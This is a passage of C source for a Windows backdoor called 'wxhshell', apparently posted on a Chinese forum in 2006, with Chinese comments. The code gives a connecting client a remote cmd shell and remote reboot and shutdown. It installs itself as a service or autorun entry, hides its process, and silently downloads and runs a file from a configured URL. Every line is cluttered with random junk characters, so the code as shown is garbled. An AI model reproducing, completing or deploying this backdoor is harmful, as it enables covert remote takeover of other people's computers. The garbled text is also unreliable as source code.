  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Gr@Mi5  
  } q&^H" fF  
  else { qf{HGn_9~1  
Pav  
    switch(cmd[0]) { )#sN#ZR$  
  6sT( t8[  
  // 帮助 +R"n_6N  
  case '?': { l0tFj>q"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h7AO5"6  
    break; i#PR Tbc  
  } w{GEWD{&  
  // 安装 1G'pT$5&  
  case 'i': { nPH\Lra  
    if(Install()) >S%}HSPKq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fyxc4-D  
    else ^!x qOp!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .I%B$eH  
    break; +^*b]"[  
    } 4G RHvA.  
  // 卸载 ^=qV)j  
  case 'r': { 7mL1$i6=  
    if(Uninstall()) z2q!_ ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?\zyeWK0L  
    else ?F~0\T,7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {ea*dX872:  
    break; ^Zlbs goZ  
    } ,<[x9 "3\  
  // 显示 wxhshell 所在路径 2FGCf} ,  
  case 'p': { tZ:fOM  
    char svExeFile[MAX_PATH]; 1 /SB[[g  
    strcpy(svExeFile,"\n\r"); y8]vl;88yY  
      strcat(svExeFile,ExeFile); EW/NH&{  
        send(wsh,svExeFile,strlen(svExeFile),0); m~F ~9&  
    break; m`jGBSlw_  
    } ?28)l 4 Ml  
  // 重启 ozA%u,\7k  
  case 'b': { ^$<:~qq !  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4+4&}8FH  
    if(Boot(REBOOT)) ,,-j5Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @== "$uRw  
    else { w<Iq:3  
    closesocket(wsh); n%s$!R- \  
    ExitThread(0); -#g0  
    } {6F]w_\  
    break; Zm#,Ike?#  
    } lLEEre  
  // 关机 d!"gb,ec  
  case 'd': { oOGFg3X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =-G4 BQ  
    if(Boot(SHUTDOWN)) d%oHcn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #c-Jo[%G  
    else { q2M%AvR  
    closesocket(wsh); lNv xt6@s  
    ExitThread(0); ^;@!\Rc  
    } Wr,pm#gl6  
    break; G ahY+$L,  
    } > Qh#pn*  
  // 获取shell zZV9`cqZ{  
  case 's': { &pAmFe  
    CmdShell(wsh); F^Mt}`O  
    closesocket(wsh); d)0 hAdh  
    ExitThread(0); @! jpJ}  
    break; $ccCI \  
  } +^a@U^V  
  // 退出 z{qn|#}  
  case 'x': { o|V=3y Ok  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ST\d -x  
    CloseIt(wsh); M\kct7Y  
    break; }$:ha>  
    } +b{tk=Q:  
  // 离开 l{. XhB  
  case 'q': { ),0Ea~LB4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _61tE  
    closesocket(wsh); 'zuA3$SR  
    WSACleanup(); Chtls;Ph[  
    exit(1); K ?V' ?s  
    break; 5ma~Pjt8}  
        } #F+b^WTR  
  } 7] 17?s]t,  
  } i\\,Z L  
U?ZxQj66}  
  // 提示信息 N'8}5Kx5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cA`X(Am6]g  
} QC+BEN$  
  } *w1R>  
E D_J8 +  
  return; lUHpGr|U%  
} #:nds,   
=UF mN"  
// shell模块句柄 3 yM!BTlX  
int CmdShell(SOCKET sock) YuzgR;Z  
{ *l'5z)]  
STARTUPINFO si; m# I  
ZeroMemory(&si,sizeof(si)); >\ PNKpn{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y-vB C3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [1.>9ngj  
PROCESS_INFORMATION ProcessInfo; E XQ 3(:&  
char cmdline[]="cmd"; vv`,H~M6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  Tv~Ys#  
  return 0; ]a\HgFp@  
} UC?i>HsJrX  
liVj-*m  
// 自身启动模式 U( "m}^  
int StartFromService(void) FQikFy(YY  
{ = k>ygD_  
typedef struct c`!8!R  
{ 8f-B-e?k  
  DWORD ExitStatus; r`d.Wy Zj  
  DWORD PebBaseAddress; 98t|G5  
  DWORD AffinityMask; qvN 5[rb  
  DWORD BasePriority; Z$ Mc{  
  ULONG UniqueProcessId; /Wm3qlv  
  ULONG InheritedFromUniqueProcessId; x '`L( C  
}   PROCESS_BASIC_INFORMATION; "pkn  
.k:Uj-&  
PROCNTQSIP NtQueryInformationProcess; |[ ,|S{  
MNsgD3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "%{J$o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vhu5w#]u*  
e(sV4Z~  
  HANDLE             hProcess; 1N\-Ku  
  PROCESS_BASIC_INFORMATION pbi; j?9fb  
agxR V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X4:SH> U!  
  if(NULL == hInst ) return 0; 9_\1cSk'  
'P<T,:z?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mRC6m K>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;l2pdP4jf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {w|KWGk2  
\l9S5%L9  
  if (!NtQueryInformationProcess) return 0; X |X~|&j  
iWu^m+"k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '9#h^.  
  if(!hProcess) return 0; :p,DAt}  
(.54`[2+L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m;"dLUb  
)nJh) {4\  
  CloseHandle(hProcess); S) [$F}  
\Z%V)ZRi=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p(]o#$ 6[  
if(hProcess==NULL) return 0;  h2]gA_T`  
EkEU}2  
HMODULE hMod; _f5n t:-  
char procName[255]; J`4{O:{4  
unsigned long cbNeeded; X:Z*7P/  
A('_.J=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bp?4)C*R  
#'jd.'>  
  CloseHandle(hProcess); C [h^bBq  
qC aM]Y  
if(strstr(procName,"services")) return 1; // 以服务启动 "G3zl{?GP  
=ADdfuKN  
  return 0; // 注册表启动 N3}jLl/  
} *yxn*B_xZ  
A#P]|i  
// 主模块 EZvf\s>LT  
int StartWxhshell(LPSTR lpCmdLine) G`" 9/FI7  
{ urK[v  
  SOCKET wsl; m=uW:~  
BOOL val=TRUE; IJt8 * cw  
  int port=0; *(sUz?t  
  struct sockaddr_in door; o1(?j}:c|  
ayvHS&h  
  if(wscfg.ws_autoins) Install(); Rg?m$$X`  
#^ cmh  
port=atoi(lpCmdLine); \P` mV9P  
u4UQMj|q  
if(port<=0) port=wscfg.ws_port; [C"[#7  
!{, `h<  
  WSADATA data; %[9d1F 3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ADQ#qA,/  
4dwG6-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .}.63T$h9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xEfz AJ5&  
  door.sin_family = AF_INET; (?7=$z!h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]7ZY|fP2  
  door.sin_port = htons(port); zz 1e)W/  
OAhCW*B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IfdgMELk  
closesocket(wsl); f*}H4H EO  
return 1; f4TNy^-  
} 3LaqEj  
*&VqAc%qD  
  if(listen(wsl,2) == INVALID_SOCKET) {  %wYGI  
closesocket(wsl); f(o1J|U{  
return 1; R} #6  
} +80yyn#  
  Wxhshell(wsl); JWuF ?<+k  
  WSACleanup(); ,,-g*[/3  
)K0BH q7r  
return 0; | rDv!m  
?xbPdG":R  
} dfmxz7V  
[aK7v{Wu  
// 以NT服务方式启动 lQolE P.pc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BrQXSN$i  
{ dsh S+d  
DWORD   status = 0; '<35XjW  
  DWORD   specificError = 0xfffffff; w/`I2uYu  
M@n9i@UsO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z,~EH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :$`"M#vMX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y GZX}-  
  serviceStatus.dwWin32ExitCode     = 0; nM)q;9-ni  
  serviceStatus.dwServiceSpecificExitCode = 0; 7;UUS1  
  serviceStatus.dwCheckPoint       = 0; $RYsqX\v  
  serviceStatus.dwWaitHint       = 0; JDyP..Dt  
?>_[hZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?y\gjC6CNG  
  if (hServiceStatusHandle==0) return; BmRk|b  
kAEm#oz=g  
status = GetLastError(); ;eG,T-:  
  if (status!=NO_ERROR) O+Zt*jN;  
{ ]0VjVU-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PN!NB.  
    serviceStatus.dwCheckPoint       = 0; se)vi;J7K  
    serviceStatus.dwWaitHint       = 0; 1?6;Oc^  
    serviceStatus.dwWin32ExitCode     = status; X0,?~i6Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; d{UyiZm\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |g3a1El  
    return; 4&Q.6HkL  
  } ov{  
yX}riXe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6dRxfbL  
  serviceStatus.dwCheckPoint       = 0; p/4\O  
  serviceStatus.dwWaitHint       = 0; <mm. b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <Ct b^4$  
} <_S>-;by  
3aL8 gE  
// 处理NT服务事件,比如:启动、停止 >Jl(9)e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) io[$QTY  
{ N{}XHA  
switch(fdwControl) &TmN^R>  
{ 8\+Q*7~@i  
case SERVICE_CONTROL_STOP: >AT{\W!N  
  serviceStatus.dwWin32ExitCode = 0; - I$qe Xy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #Z'r;YOzs  
  serviceStatus.dwCheckPoint   = 0; (RP"VEVR  
  serviceStatus.dwWaitHint     = 0; < p<J;@  
  { n5Ad@Bg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Q_^f'4  
  } d]JiJgfa%  
  return; (p2jigP7a[  
case SERVICE_CONTROL_PAUSE: #S57SD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,4bqjkX5q  
  break; k^ CFu  
case SERVICE_CONTROL_CONTINUE: H'fmQf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 35dbDgVz$  
  break; }u=-Y'!#]  
case SERVICE_CONTROL_INTERROGATE: STDT]3.  
  break; qSRE)C=)  
}; !TJCQ[Aa }  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1LbJR'}  
} VP|ga }(  
lKo07s6u  
// 标准应用程序主函数 g1JBssw&m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rkF]Q_'`t;  
{ ;(cq aB  
0XCtw6  
// 获取操作系统版本 xef@-%mcoy  
OsIsNt=GetOsVer(); y$=$Yc&Ub  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S&y(A0M  
Nr\[|||%  
  // 从命令行安装 kY8aK8M  
  if(strpbrk(lpCmdLine,"iI")) Install(); _lrCf  
,qF;#nB-  
  // 下载执行文件 9%>GOY  
if(wscfg.ws_downexe) { {&_1/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %#!`>S)O  
  WinExec(wscfg.ws_filenam,SW_HIDE); ou;E@`h;x  
} "0JG96&\  
FL}k0  
if(!OsIsNt) { Y`5(F>/RQG  
// 如果时win9x,隐藏进程并且设置为注册表启动 Zi&qa+F  
HideProc(); YK[PC]w  
StartWxhshell(lpCmdLine); C?v_ig  
} -e6~0%X  
else v7?sXW  
  if(StartFromService()) 1]wx Ru  
  // 以服务方式启动 NwH`t#zd  
  StartServiceCtrlDispatcher(DispatchTable); p<5ED\;N;  
else HmWU;9Vn+  
  // 普通方式启动 DH(Q md  
  StartWxhshell(lpCmdLine); =D<{uovQB  
OR4ZjogzY  
return 0; 02U5N(s  
}
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只看该作者 1 发表于: 2006-10-10
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